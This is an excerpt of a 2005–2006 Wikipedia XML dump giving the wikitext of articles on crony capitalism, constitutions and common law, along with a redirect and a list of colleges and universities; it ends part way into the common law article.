Crony capitalism arises when political [[cronyism]] spills over into the world of business, and the relationships between powerful businessmen and powerful politicians form a kind of [[aristocracy|aristocratic]] social [[hierarchy]], influenced by self-serving [[friendship]]s and [[family]] ties, to the extent that it corrupts [[public good|public-serving]] economic and political ideals.

== Viewpoints ==
The phrase is often used by [[socialism|socialists]] and other [[anti-capitalism|anti-capitalists]], who assert that such [[Political corruption|corrupt]] processes are an inevitable result of any capitalist system. For example, [[Jane Jacobs]] calls it a natural consequence of collusion between those managing [[power (sociology)|power]] and [[trade]].

Theoretically, this can be explained by considering personal relationships as forming a [[social network|network]]. As government and business leaders try to accomplish various things, they naturally turn to other powerful people for support in their endeavors. These people form hubs in the network. In a developing country those hubs may be very few, thus concentrating economic and political power in a small highly-interlocking group. In a fully developed country, the processes of capitalism have already concentrated wealth into the possession of a small group, with the same result: reduction of the number of hubs.

Capitalists generally respond that governmental favours are incompatible with true capitalism, that so-called &quot;crony capitalism&quot; is in fact the result of an excess of socialist-style interference in the market, which requires active corporate lobbying to reduce red tape. They point to the relatively higher levels of interaction between corporations and governments that are considered more socialist, taken to its maximum in the form of [[nationalization]]. For example, [[Burton W. Folsom, Jr.]], in his book ''[[The Myth of the Robber Barons]]'', distinguished those that engage in crony capitalism &amp;ndash; designated by him &quot;political entrepreneurs&quot; &amp;ndash; from those who compete in the marketplace without special aid from government, whom he calls &quot;market entrepreneurs&quot;.

Finally, some critics question whether the concept is meaningful at all, pointing out that personal factors influence business decisions in all economic systems that involve a government and that the existence of these factors, ''per se'', is an insufficient explanation for why certain economic systems work better than others.

== Examples ==
States often said to exhibit crony capitalism are [[People's Republic of China|China]], [[Japan]], [[Indonesia]], [[Russia]], and most other ex-[[Soviet]] states. Critics claim that government connections are almost indispensable to business success in these countries.  Some allege that the same is true for certain industries in the [[United States]], especially the so-called &quot;[[military-industrial complex]]&quot;.

[[Enronomics]] is an example of the same principle.

==See also==
* [[Cronyism]]
* [[Corporate welfare]]
* [[Oligarchy]]
* [[Plutocracy]]
* [[Political families]]
* [[Mercantilism]]

==External links==
*[http://www.nytimes.com/2002/07/21/weekinreview/21SANG.html?todaysheadlines New York Times, &quot;The Global Cost of Crony Capitalism&quot;]
*[http://www.nytimes.com/2002/07/30/international/europe/30VLAD.html?todaysheadlines New York Times, &quot;Vladivostok Journal: Out of Russia's Gangland, and Into Cafe Society.&quot;]
*[http://www.project-syndicate.org/series/series_text.php4?id=781&amp;lang=1 Joseph Stiglitz, &quot;Crony capitalism American-style&quot;.]

[[Category:Pejorative political terms]]
[[Category:Political corruption]]


[[de:Staatskapitalismus]]</text>
    </revision>
  </page>
  <page>
    <title>Countries of the world</title>
    <id>5250</id>
    <revision>
      <id>15903472</id>
      <timestamp>2005-04-27T21:20:22Z</timestamp>
      <contributor>
        <username>Wilfried Derksen</username>
        <id>42636</id>
      </contributor>
      <minor />
      <comment>changed redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of countries]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities</title>
    <id>5252</id>
    <revision>
      <id>40049644</id>
      <timestamp>2006-02-17T19:41:59Z</timestamp>
      <contributor>
        <username>Bobak</username>
        <id>325166</id>
      </contributor>
      <comment>/* Related lists */</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
The alphabetical listing is based on Christina DeMello's pages at http://www.mit.edu:8001/people/cdemello/univ.html. 

==See also==
*[[College]]
*[[University]]
*[[Distance education]]
*[[Land-grant university]]
*[[Liberal arts college]]
*[[Nursing school]]
*[[Pontifical university]]
*[[Sea grant colleges]]
*[[Space grant colleges]]
*[[Wikipedia:WikiProject_Universities]]

== Related lists ==
*[[List of colleges and universities by country]]
*[[List of for-profit colleges and universities]]
*[[List of oldest universities in continuous operation]]
*[[List of universities named after people]]
*[[List of college athletic conferences]]
*[[Business school]]
*[[List of law schools]]
*[[List of medical schools]]
*[[Mega university]]
*[[Military academy]]

[[Category:Lists of universities and colleges|*]]
[[el:&amp;#917;&amp;#954;&amp;#960;&amp;#945;&amp;#943;&amp;#948;&amp;#949;&amp;#965;&amp;#963;&amp;#951;]]
[[es:Universidades por orden alfabético]]
[[nl:Lijst van universiteiten]]
[[ja:&amp;#22823;&amp;#23398;&amp;#19968;&amp;#35239;]]
[[fi:Luettelo yliopistoista]]
[[mi:R&amp;#257;rangi w&amp;#257;nanga]]
[[ru:&amp;#1057;&amp;#1087;&amp;#1080;&amp;#1089;&amp;#1086;&amp;#1082; &amp;#1091;&amp;#1085;&amp;#1080;&amp;#1074;&amp;#1077;&amp;#1088;&amp;#1089;&amp;#1080;&amp;#1090;&amp;#1077;&amp;#1090;&amp;#1086;&amp;#1074;]]
[[uk:&amp;#1057;&amp;#1087;&amp;#1080;&amp;#1089;&amp;#1086;&amp;#1082; &amp;#1074;&amp;#1080;&amp;#1097;&amp;#1080;&amp;#1093; &amp;#1085;&amp;#1072;&amp;#1074;&amp;#1095;&amp;#1072;&amp;#1083;&amp;#1100;&amp;#1085;&amp;#1080;&amp;#1093; &amp;#1079;&amp;#1072;&amp;#1082;&amp;#1083;&amp;#1072;&amp;#1076;&amp;#1110;&amp;#1074;]]
[[zh:&amp;#19990;&amp;#30028;&amp;#22823;&amp;#23398;&amp;#21015;&amp;#34920;]]</text>
    </revision>
  </page>
  <page>
    <title>Constitution</title>
    <id>5253</id>
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      <id>41958014</id>
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        <ip>83.20.187.186</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''For the entry on the ship, see:'' [[USS Constitution]]''.''
A '''constitution''' is a system, often [[codified]] in a written document, which establishes the rules and principles by which an organization is governed. In the case of [[state]]s, this term refers specifically to a national constitution, which defines the fundamental [[politics|political]] principles and establishes the [[power (sociology)|power]] and [[duty|duties]] of each government. Most national constitutions also guarantee certain [[right|rights]] to the people. Historically, before the evolution of modern codified national constitutions, the term ''constitution'' could be applied to any important [[law]].

Constitutions are found in many organizations. They are found extensively in government, at supernational (e.g. [[United Nations Charter]]), national (e.g. [[Constitution of the United States]]), and sub-national/provincial (e.g. [[Maryland Constitution|Constitution of Maryland]]) levels. They are found in many political groups, such as [[political party|political parties]] and [[pressure group]]s, including [[trade union]]s (labor unions). There are many non-political groups and entities that may have constitutions of a sort such as [[company (law)|companies]] and [[voluntary association|voluntary organisations]].

== Etymology ==
The term ''constitution'' comes from the [[Latin]],  referring to issuing any important law, usually by the Roman emperor. Later, the term was widely used in [[canon law]] to indicate certain relevant decisions, mainly from the [[pope]].

== General features ==
Generally, all constitutions confer specific powers to an organization on the condition that it abides by this constitution or charter limitation. In modern constitutions, there is usually a sense of the constitution's legitimacy being derived from wide consensus, whether the constitution in question is a constitution of government or just the constitution of a private club. The Latin term ''[[ultra vires]]'' describes activities that fall outside an organisation's or [[legislative]] body's legal or constitutional authority. For example, a [[students' union]] may be prohibited as an organization from engaging in activities not concerning students; if the union becomes involved in non-student activities these activities are considered ''ultra vires'' of the union's charter. An example from the constitutional law of nation-states would be a provincial government in a federal state trying to legislate in an area exclusively enumerated to the federal government in the constitution. For example, in the United States, any attempt by a state legislature to ratify a treaty with a foreign nation would be considered ''ultra vires'' of Congress' constitutional authority, being contrary to the constitution. In both cases, &quot;ultra vires&quot; gives a legal justification for the forced cessation of such action, which would be enforced by the [[judiciary]] in government.

== Governmental constitutions ==
Most commonly, the term ''constitution'' refers to a set of rules and principles that define the nature and extent of government. Most constitutions seek to regulate the relationship between institutions of the state, in a basic sense the relationship between the executive, legislature and the judiciary, but also the relationship of institutions within those branches. For example, executive branches can be divided into a head of government, government departments/ministries, executive agencies and a [[civil service]]/bureaucracy. Most constitutions also attempt to define the relationship between individuals and the state, and to establish the broad rights of individual citizens. It is thus the most basic law of an area from which all the other laws and rules are hierarchically derived; in some areas it is in fact called &quot;[[Basic Law]]&quot;.

===Key features===
The following are features of democratic constitutions which have been identified by political scientists to exist, in one form or another, in virtually all national constitutions.

====Codification====
A fundamental classification is codification or lack of codification. A codified constitution is one that is contained in a single document, which is the single source of constitutional law in a state. The classic example of this is the [[Constitution of the United States]]. An uncodified constitution is one that is not contained in a single document, consisting of several different sources, which may be written or unwritten. The [[Constitution of Australia]] is an example of a constitution in which constitutional law mainly derives from a single written document, but other written documents are also considered  part of the constitution. The [[Constitution of the United Kingdom]] is an example of an uncodified constitution which consists of both written and unwritten sources and has no single written fundamental document.

The term ''written constitution'' is used to describe a constitution that is entirely written, which by definition includes every codified constitution. However, some constitutions are entirely written but, strictly speaking, not entirely codified. For example, in the [[Constitution of Australia]], most of its fundamental political principles and regulations concerning the relationship between branches of government, and concerning the government and the individual are codified in a single document, the Constitution of the Commonwealth of Australia. However, the presence of statutes with constitutional significance, namely the [[Statute of Westminster]], as adopted by the Commonwealth in the [[Statute of Westminster Adoption Act 1942]], and the [[Australia Act]] means that Australia's constitution is not contained in a single constitutional document.

The term ''written constitution'' is often used interchangeably with ''codified constitution'', and similarly ''unwritten constitution'' is used interchangeably with ''uncodified constitution''. As shown above, this usage with respect to written and codified constitutions can be inaccurate. Strictly speaking, ''unwritten constitution'' is never an accurate synonym for ''uncodified constitution'', because all modern democratic constitutions consist of some written sources, even if they have no different technical status than ordinary statutes. Another term used is ''formal (written) constitution'', for example in the following context: &quot;The United Kingdom has no formal constitution&quot;. This usage is correct, but it should be construed to mean that the United Kingdom does not have a written constitution, not that the UK has no constitution of any kind, which would not be correct.

===== Codified constitution =====
Most states in the world have a codified constitution. Codified constitutions, unlike uncodified constitutions are not the product of an &quot;evolution&quot; of laws and conventions over centuries, they are usually the product of dramatic political change, such as a [[revolution]]. For example, the US constitution was written and subsequently ratified less than 25 years after the [[American Revolution]].  The process by which a country adopts a constitution is closely tied to the historical and political context driving this fundamental change. When one compares the elaborate convention method adopted in the United States with the Macarthur inspired post war constitution foisted on Japan, this becomes evident. Arguably the legitimacy (and often the longevity) of codified constitutions are tied to the process by which they are initially adopted.

The most obvious advantage of a codified constitution is the coherent and easily understood body of rules. A codified constitution at the least is simple to read, being a single document. The US constitution, for example, is only about 7,000 words long, and can be bought in most bookshops in the United States, whereas an uncodified constitution such as that of the UK is often ambiguous and difficult to interpret.

Although (entrenched) codified constitutions are relatively rigid, codified constitutions still yield a potentially wide range of interpretations by constitutional courts. For example, the US Supreme Court declared racial segregation to be constitutional in [[Plessy v. Ferguson]] ([[1896]]), declaring an interpretation of &quot;separate but equal&quot;. However, in the [[1954]] [[Brown v. Board of Education]] case, the Supreme Court declared that &quot;separate educational facilities are inherently unequal&quot;, starting a period of federal government action that removed all de-jure racial segregation and discrimination. Sometimes, the nature of the wide range of interpretations that seem possible from constitutional courts are controversial. In the US, those who support judicial decisions being made solely on the original text of the constitution, without considering &quot;implied&quot; principles, are called &quot;[[Strict constructionism|strict constructionists]]&quot;.

States that have codified constitutions normally give them supremacy over ordinary [[statute]] law. That is, if there is a conflict between a legal statute and the codified constitution, all or part of the statute can be declared [[ultra vires]] by a court and struck down as [[unconstitutional]]. Secondly, an extraordinary procedure is required for [[constitutional amendment]]s that may involve obtaining 2/3 majorities in the national legislature, the consent of regional legislatures, a [[referendum]] process or some other procedure that makes obtaining a constitutional amendment more difficult than passing a simple law.

===== Uncodified constitution =====
By contrast, in the [[Westminster System|Westminster]] tradition which originated in [[England]], the uncodified constitution includes written sources but also unwritten [[Constitutional convention (political custom)|constitutional convention]]s, observation of [[precedent]]s, [[royal prerogative]]s and [[custom]]; together these constitute the [[British constitutional law]]. In the days of the [[British Empire]], the [[Judicial Committee of the Privy Council]] acted as the constitutional court for many of the British colonies such as [[Canada]] and [[Australia]] which had federal constitutions. 

In states using uncodified constitutions, the difference between constitutional law and [[Statute|statutory]] law (i.e. law applying to any area of governance) in legal terms is nil. Both can be altered or repealed by a simple majority in Parliament. In practice, democratic governments do not use this opportunity to abolish all civil rights, which in theory they could do, but the distinction between regular and constitutional law is still somewhat arbitrary, usually depending on the traditional devotion of popular opinion to historical principles embodied in important past legislation. For example, several [[Acts of Parliament]] such as the [[English Bill of Rights|Bill of Rights]], [[Human Rights Act 1998|Human Rights Act]] and, prior to the creation of Parliament, [[Magna Carta]] are regarded as granting fundamental rights and principles which are treated as almost constitutional.

====Entrenchment==== 

The presence or lack of entrenchment is a fundamental feature of constitutions. Entrenchment refers to whether the constitution is legally protected from modification without a procedure of [[constitutional amendment]]. Entrenchment is an inherent feature in most written constitutions. The US constitution is an example of an entrenched constitution, and the UK constitution is an example of a constitution that is not entrenched. 

Modification of an entrenched constitution will require more than the amendment proposed being passed by the national legislature, it will require wider approval. Sometimes, the reason for this is that the constitution is considered supreme law, such as according to the [[supremacy clause]] in the United States constitution. Regardless of whether a constitution has this technical status, all states with an entrenched constitution recognise the difference between constitutional law and ordinary statutory law. The procedure for modifying a constitution is often called ''[[constitutional amendment|amending]]''. Procedures for ratification of constitutional amendments vary between states. In a federal system of government such as the United States, the approval of a majority of state/provincial legislatures may be required. A national referendum may be required in some states, such as Australia.

In constitutions that are not entrenched, no special procedure is required for modification. In the small number of countries with un-entrenched constitutions, the lack of entrenchment is because the constitution is not recognised with any higher legal status than ordinary [[statutes]]. In the UK for example, passing laws which modify sources of the constitution, whether they are written or unwritten, are passed on a simple majority in [[Parliament of the United Kingdom|Parliament]]. The concept of &quot;amendment&quot; does not apply, as the constitution can be altered as easily in terms of procedure as any national law.

====Distribution of sovereignty==== 

Constitutions also establish where sovereignty is located in the state. There are three basic types of distribution of sovereignty: federal, unitary and confederal. A [[federalism|federal system of government]] will inevitably have a constitution that recognizes the division of sovereignty between the centre and peripheral/provincial regions of the state. A unitary constitution will recognise that sovereignty resides only in the centre of the state. The US has a federal constitution, since different powers are enumerated to the centre ([[Federal government of the United States|federal government]]) rather than to its peripheral regions ([[US states|states]]). In the UK, the constitutional doctrine of [[Parliamentary sovereignty]] dictates than sovereignty is ultimately contained at the centre. In the UK, legally, [[local government]] and devolved government (such as the [[Scottish Parliament]]) could be abolished by Parliament. The amount of power government institutions below Parliament have totally depends on Parliament. In the United States, it is impossible for the federal government to remove enumerated power from or abolish any of the states, and it is impossible for a state to secede from the Union, due to the federal design of the constitution, together with the doctrine of entrenchment. Confederal constitutions are rare, and there is often dispute to whether so-called &quot;confederal&quot; states are actually federal. In a confederacy, sovereignty is located in peripheral regions/provinces and only limited power is granted to the centre. A historical example of a confederal constitution is the [[Swiss Federal Constitution]], the constitution of the [[Confederate States of America]] and the [[Articles of Confederation]]. 

====Separation of powers====
Constitutions vary extensively as to the degree of [[separation of powers]], usually meaning the constitutional separation of the executive, legislative and judicial branches of government. The United States constitution has a full separation of powers, with each branch having particular enumerated powers. For instance, Congress, the US legislature, has the power of impeachment, which cannot be exercised by another branch.

====Lines of accountability====
Lines of accountability are a common feature in all democratic constitutions. In presidential systems of government such as the United States, and semi-presidential systems such as France, department secretaries/ministers are accountable to the [[President]], who has patronage powers to appoint and dismiss ministers. The president is accountable to the people in an election. In Parliamentary systems such as the United Kingdom and Australia, ministers are accountable to Parliament, but it is the Prime Minister who appoints and dismisses them (in Westminster systems he derives this power from the monarch, a component of Parliament). There is the concept of a [[vote of no confidence]] in many countries with parliamentary systems, which means that if a majority of the legislature vote for a no confidence motion, then the government must resign, and a new one will be formed, or parliament will be dissolved and a general election called.

====Façade Constitutions====
Italian political theorist [[Giovanni Sartori]] noted the existence of national constitutions which are a façade for authoritarian sources of power. While such documents may express respect for [[human rights]] or establish an independent judiciary, they may be ignored when the government feels threatened or entirely dishonoured in practice. An extreme example was the [[Constitution of the Soviet Union]] that on paper supported [[freedom of assembly]] or [[freedom of speech]], however citizens who acted accordingly were summarily [[Political prisoner|imprisoned]]. The example demonstrates that the protections and benefits of a constitution are provided less through its written terms, but more through deference by government and society to its principles.

==Constitutional courts==
The constitution is often protected by a certain legal body in each country with various names, such as ''supreme'', ''constitutional'' or ''high'' court. This court judges the compatibility of legislation with the provisions and principles of the constitution, which is termed &quot;constitutionality&quot;. Especially important is the court's responsibility to protect constitutionally established rights and freedoms. In constitutions without the concept of supreme law, such as the United Kingdom constitution, the concept of &quot;constitutionality&quot; has little meaning, and constitutional courts do not exist.

A &quot;constitutional violation&quot; is an action or legislative act that is judged by a constitutional court to be contrary to the constitution, that is, &quot;unconstitutional&quot;. An example of constitutional violation by the executive could be a [[politician]] who abuses the powers of his constitutionally-established office. An example of constitutional violation by the legislature is an attempt to pass a law that would contradict the constitution, without first going through the proper [[constitutional amendment]] process.

A constitutional court is normally the [[court of last resort]], the highest judicial body in the government. The process of [[judicial review]] is then integrated into the system of [[court of appeals|courts of appeal]]. This is the case, for example, with the [[Supreme Court of the United States]]. Cases must normally be heard in lower courts before being brought before the Supreme Court, except cases for which the Supreme Court has [[original jurisdiction]]. Some other countries dedicate a special court solely to the protection of the constitution, as with the [[Federal Constitutional Court of Germany|German Constitutional Court]]. Most constitutional courts are powerful instruments of judicial review, with the power to declare laws &quot;unconstitutional&quot;, that is, incompatible with the constitution. The effect of this ruling varies between governments, but it is common for the courts' action to rule a law unenforceable, as is the case in the United States. However, many courts have the problem of relying on the legislative and executive branches' co-operation to properly enforce their decisions. For example, in the United States, the Supreme Court's ruling overturning the &quot;separate but equal&quot; doctrine in the 1950s depended on individual states co-operation to enforce. Some failed to do so, prompting the federal government to intervene.

Some countries, mainly those with uncodified constitutions, have no such courts at all &amp;ndash; for example, as the [[United Kingdom]] traditionally functions under the principle of [[parliamentary sovereignty]]: the legislature has the power to enact any law it wishes. However, through its membership in the [[European Union]], the UK is now subject to the jurisdiction of [[European Community law]] and the [[European Court of Justice]]; similarly, by acceding to the [[Council of Europe]]'s [[European Convention on Human Rights]], it is subject to the [[European Court of Human Rights]]. In effect, these bodies are constitutional courts that can invalidate or interpret UK legislation, first established as a principle by the [[Factortame case]].

==History and development==
[[Image:Uchwalenie Konstytucji 3 Maja.jpg|thumb|350px|right|The &quot;Great&quot; or Four-Year Sejm of [[1788]]&amp;ndash;[[1792]] adopts the May 3rd Constitution at [[Royal Castle in Warsaw|Warsaw's Royal Castle]] (rebuilt in the [[1970s]] after its deliberate destruction by the Germans in World War II).]]

As far as we know from historical records, the code of justice issued by the [[Sumer]]ian king [[Urukagina]] of [[Lagash]] ca. 2300 BC is the earliest prototype for a law of government.  This document itself has not yet been discovered; however it is known that it allowed some [[right]]s to his citizens.  For example, it is known that it relieved tax for widows and orphans, and protected the poor from the [[usury]] of the rich.

After that many governments ruled by special codes of written laws.  The oldest such document still known to exist seems to be that of [[Ur-Nammu]] of [[Ur]] (ca. 2050 BC). Some of the more well known among these include the [[code of Hammurabi]] of [[Babylonia]], the [[Hittite]] code, the [[Assyrian]] code, [[Mosaic law]], and likewise the commandments of [[Cyrus the Great]] of [[Persia]].

In 621 BC, a scribe called [[Draco]] wrote the laws of the city-state of [[Athens]]; and being quite cruel, this code prescribed the death penalty for any offense.  In 594 BC, [[Solon]], the ruler of Athens, created a new [[Solonian Constitution|constitution]].  It eased the burden of the workers, however it made the ruling class to be determined by wealth, rather than by birth. [[Cleisthenes of Athens|Cleisthenes]] again reformed the Athenian constitution and set it on a democratic footing in [[508]] BC.

[[Aristotle]] (c. 350 BC) was also one of the first in recorded history to formally make the distinction between law and constitutional law. He was the first to establish the ideas of constitution, the idea of constitutionalism and attempt to classify different forms of constitution/government. The most basic definition he used to describe a constitution in general terms was &quot;the arrangement of the offices in a state&quot;. In his work ''[[Constitution of Athens]]'', [[Politics (Aristotle)|Politics]], [[Nicomachean Ethics]] explored different forms of constitutions. He classified both what he regarded as good and bad constitutions, and came to the conclusion that the best constitution was a mixed system, including monarchic, aristocratic, and democratic elements. He also distinguished between citizens, who had the exclusive opportunity to participate in the state, and non-citizens and slaves who did not.

[[Japan]]'s ''[[Seventeen-article constitution]]'' written in [[604]], reportedly by [[Prince Shotoku|Prince Shōtoku]], is an early example of a constitution in Asian political history. Influenced by [[Buddhism|Buddist]] teachings, the document focuses more on social morality than institutions of government ''per se'' and remains a notable early attempt at a government constitution. Another is the [[Constitution of Medina]], drafted by the prophet of [[Islam]], [[Muhammad]], in [[622]].

In [[England]], [[Henry I of England|King Henry I]]'s proclamation of the [[Charter of Liberties]] in [[1100]] bound the king for the first time in his treatment of the clergy and the nobility. This idea was extended and refined by the English barony when they forced [[John I of England|John I]] to sign the [[Magna Carta]] in [[1215]]. The most important single article of the Magna Carta, related to &quot;''[[habeas corpus]]''&quot;, provided that the king was not permitted to imprison, outlaw, exile or kill anyone at a whim -- there must be [[due process]] of law first. This article, Article 39, of the Magna Carta read:

''No free man shall be arrested, or imprisoned, or deprived of his property, or outlawed, or exiled, or in any way destroyed, nor shall we go against him or send against him, unless by legal judgement of his peers, or by the law of the land.''

[[Image:Konstytucja 3 Maja.jpg|left|thumb|350px|''May 3rd Constitution'' (painting by [[Jan Matejko]], [[1891]]). King Stanisław August (left, in regal [[ermine]]-trimmed cloak), enters [[St. John's Cathedral]], where [[Sejm]] [[Chamber of Deputies|deputies]] will swear to uphold the new [[Constitution]]; in background, [[Warsaw's Royal Castle]], where the Constitution has just been adopted.]]  

This provision became the cornerstone of English liberty after that point. The [[social contract]] in the original case was between the king and the nobility, but was gradually extended to all of the people. It led to the system of [[Constitutional Monarchy]], with further reforms shifting the balance of power from the monarchy and nobility to the [[British House of Commons|House of Commons]].   

Around 1240, the [[Copt]]ic Egyptian Christian writer, [['Abul Fada'il Ibn al-'Assal]], wrote the [[Fetha Negest]] in [[Arabic language|Arabic]].  'Ibn al-Assal took his laws partly from apostolic writings and partly from former law codes of the [[List of Byzantine emperors|Byzantine]] rulers such as Justinian.  There are a few historical records claiming that this law code was translated into [[Ge'ez]] and entered Ethiopia around [[1450]] in the reign of [[Zara Yaqob]].  Even so, its first recorded use in the function of a constitution (supreme law of the land) is with [[Sarsa Dengel]] beginning in 1563.  The Fetha Negest remained the supreme law in Ethiopia until 1931, when a modern-style Constitution was first granted by Emperor [[Haile Selassie]] I.

The oldest written constitution of an existing nation may be that of [[San Marino]]. The ''[[Leges Statutae Republicae Sancti Marini]]'' was written in [[Latin]] and consists of six books. The first book, with 62 articles, establishes councils, courts, various executive officers and the powers assigned to them. The remaining books cover criminal and civil [[law]], judicial procedures and remedies. Written in [[1600]], the document was based upon the ''Statuti Comunali'' (Town Statute) of [[1300]], influenced by the ''[[Corpus Juris Civilis]]'' and still remains the basic law in effect today.

The [[Massachusetts|Commonwealth of Massachusetts]] adopted its constitution in [[1780]], before the ratification of the [[Articles of Confederation]] and the United States Constitution. It is probably the oldest still-functioning ''nominal'' constitution, that is, where the document specifically declares itself to be a constitution. All [[US states]] have constitutions and are considered to be sovereign republics that have delegated some important powers to a larger federal republic.

The [[United States Constitution]], ratified [[1789]], was influenced by the British constitutional system, plus the writings of [[Polybius]], [[John Locke|Locke]], [[Charles de Secondat, Baron de Montesquieu|Montesquieu]], and others. The document became a benchmark for [[republicanism|republican]] and codified constitutions written thereafter and is commonly believed to be the oldest modern, national, codified constitution in the world.

[[Poland]]´s [[Sejm]] adopted the [[Polish Constitution of May 3, 1791]], which is claimed to be the first modern constitution in Europe. The [[Corsican Constitution]] of [[1755]] and [[Swedish Constitution of 1772]] also deserve a mention.

==See also==
* [[List of national constitutions]]
* [[European constitution| European Union (proposed) constitution]]
* [[UN Charter]]
* [[Apostolic constitution]] (a class of [[Roman Catholic Church]] documents)

'''Judicial philosophies of constitutional interpretation'''
''(note:  generally specific to [[United States|U.S.]] [[constitutional law]])''
*[[Originalism]]
*[[Strict constructionism]]
*[[Judicial activism]]
*[[Judicial restraint]]

== External links ==
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-61 ''Dictionary of the History of Ideas'':] Constitutionalism
*[http://www.constitution.org/ The Constitution Society] &quot;A private non-profit organization dedicated to research and public education on the principles of constitutional republican government&quot;
*[http://www.oefre.unibe.ch/law/icl ''International Constitutional Law'':] English translations of various national constitutions
*[http://www.staff.amu.edu.pl/~wroblew/html/en_pr_konst.html ''Constitutional Law''] &quot;Constitutions, bibliography, links&quot;
*[http://wiki.grazingchaos.org/ chaosWiki] - Including a fully modifiable copy of the US constitution.
===Some national constitutions===
*[http://www.constitution.org/ Constitution Society] - [http://www.constitution.org/cons/natlcons.htm National Constitutions]
*[http://webthes.senado.gov.br/web/const/const88.pdf Constitution of Brazil] &lt;nowiki&gt;[PDF]&lt;/nowiki&gt;
*[http://www.finlex.fi/en/laki/kaannokset/1999/en19990731.pdf Constitution of Finland] &lt;nowiki&gt;[PDF]&lt;/nowiki&gt;
*[[:fr:Constitutions françaises|French constitutions (French)]]
*[http://www.parliament.ge/files/68_1944_216422_konst.pdf Constitution of Georgia]
*[[Constitution of Hungary| Constitution of Hungary]]
*[http://indiacode.nic.in/coiweb/welcome.html Constitution of India]
*[http://www.iranonline.com/iran/iran-info/Government/constitution.html Constitution of Iran]
*[http://www.concourt.am/wwconst/constit/italy/italy--e.htm Constitution of Italy] - [http://www.quirinale.it/costituzione/costituzione.htm ''In Italian'']
*[http://en.wikisource.org/wiki/Constitution_of_Japan Constitution of Japan]
*[http://www.ccourt.go.kr/ccout_quick/english.asp Constitution of Repubic of Korea(South Korea)]-[http://www.ccourt.go.kr/ccout_quick/korean.asp ''In Korean'']-[http://www.ccourt.go.kr/ccout_quick/chinese.asp ''In Chinese'']
*[http://www.gov.ph/aboutphil/constitution.asp Constitution of the Philippines]
*[http://www.sejm.gov.pl/prawo/konst/angielski/kon1.htm Constitution of Poland]
*[http://www.constitution.ru/en/10003000-01.htm Constitution of Russia]
*[http://www.parlamento.pt/const_leg/crp_port/index.html Constitution of Portugal], [http://www.parlamento.pt/const_leg/crp_port/constpt2005.pdf (PDF)] - also in [http://www.parlamento.pt/ingles/cons_leg/crp_ing/index.html English (HTML)], [http://www.parlamento.pt/ingles/cons_leg/Constitution_definitive.pdf English (PDF)], [http://www.parlamento.pt/frances/const_leg/crp_franc/index.html French], [http://www.parlamento.pt/espanhol/const_leg/crp_esp/index.html Spanish]
*[http://www.humanrights.lv/doc/latlik/satver~1.htm Constitution of Latvia] - [http://www.saeima.lv/Likumdosana/satversme_izdr.htm ''In Latvian'']
*[http://www3.lrs.lt/cgi-bin/preps2?Condition1=211295&amp;Condition2= Constitution of Lithuania] 
*[http://www.riksdagen.se/templates/R_Page____6357.aspx Constitution of Sweden]
*[http://www.admin.ch/ch/itl/rs/1/c101ENG.pdf Constitution of Switzerland (PDF, English translation)] - also in [http://www.admin.ch/ch/d/sr/c101.html German], [http://www.admin.ch/ch/f/rs/c101.html French], [http://www.admin.ch/ch/i/rs/c101.html Italian], [http://www.admin.ch/ch/itl/rs/1/index.htm other languages]
*[http://www.findlaw.com/casecode/constitution/ Constitution of The United States of America] - Annotated version of the [[United States Constitution]]
*[http://constitucion.presidencia.gob.mx/docs/constitucion.pdf Constitution of Mexico] (in Spanish) [PDF]
* [http://en.wikisource.org/wiki/Constitution_of_the_People%27s_Republic_of_China Constitution of the People's Republic of China]
*[http://www.taoiseach.gov.ie/upload/static/256.pdf Constitution of Ireland]
*[http://www.tbmm.gov.tr/english/constitution.htm Constitution of Turkey]
*[http://www.aph.gov.au/senate/general/constitution/index.htm Constitution of the Commonwealth of Australia]
*[http://www.folketinget.dk/pdf/constitution.pdf Constitution of Denmark]
*[http://confinder.richmond.edu Constitution Finder]

==References==
*[http://www.parliament.the-stationery-office.co.uk/pa/ld200203/ldselect/ldconst/168/16809.htm#note92 Report on the British constitution and proposed European constitution by Professor John McEldowney, University of Warwick] Submitted as written evidence to House of Lords Select Committee on Constitution, published to the public on [[15 October]] [[2003]].
*&quot;Constitution&quot;, Encyclopædia Britannica 2003 Ultimate Reference Suite DVD

[[Category:Constitutional law]]
[[Category:Emergency laws]]
[[Category:Institutions of government]]
[[Category:Official documents]]
[[Category:Political philosophy]]
[[Category:Philosophy of law]]
[[Category:Political science]]

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    </revision>
  </page>
  <page>
    <title>Common law</title>
    <id>5254</id>
    <revision>
      <id>41536333</id>
      <timestamp>2006-02-28T00:29:47Z</timestamp>
      <contributor>
        <ip>81.178.248.143</ip>
      </contributor>
      <text xml:space="preserve">:''For other meanings of the term, within the field of law, see [[common law (disambiguation)]].''
{{CommonLaw}}
The '''common law''' forms a major part of the [[law]] of many [[state]]s, especially those with a history as [[British Empire|British]] territories or [[colony|colonies]].  It is notable for its inclusion of extensive [[non-statutory law]] reflecting [[precedent]] derived from centuries of [[judgment]]s by [[judge]]s hearing real cases.

